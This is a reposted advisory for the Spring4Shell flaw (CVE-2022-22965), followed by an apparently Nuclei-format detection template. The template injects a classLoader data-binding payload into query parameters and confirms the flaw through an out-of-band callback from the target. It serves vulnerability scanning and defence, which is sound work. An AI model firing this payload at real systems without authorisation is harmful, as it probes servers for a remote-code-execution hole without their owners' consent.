A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
PoC代码[已公开]
id: spring4shell-CVE-2022-22965
info:
name: Spring Framework RCE via Data Binding on JDK 9+
author: DhiyaneshDK,ritikchaddha
severity: critical
description: |
A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
reference:
- https://spring.io/security/cve-2022-22965
- https://pentest-tools.com/blog/detect-exploit-spring4shell-cve-2022-22965
- http://packetstormsecurity.com/files/167011/Spring4Shell-Spring-Framework-Class-Property-Remote-Code-Execution.html
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0005
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-java-spring-rce-Zx9GUc67
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-22965
cwe-id: CWE-94
epss-score: 0.94464
epss-percentile: 0.99994
cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: vmware
product: spring_framework
tags: packetstorm,cve,cve2024,dast,spring,rce,kev
http:
- pre-condition:
- type: dsl
dsl:
- 'method == "GET"'
payloads:
nix_fuzz:
- 'class.module.classLoader.resources.context.configFile=http://{{interactsh-url}}'
fuzzing:
- part: query
type: replace # replaces existing parameter value with fuzz payload
mode: multiple # replaces all parameters value with fuzz payload
fuzz:
- '{{nix_fuzz}}'
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: Java"
case-insensitive: true
# digest: 490a0046304402204527b23981ef95a1ca55ac318426f4a5be2b74c489dd8ab4f91562c847081fe702204a3ba08626a6a62c373e440c51b6228bd2ca56a079dc72b653c27362f31c7601:922c64590222798bb761d5b6d8e72950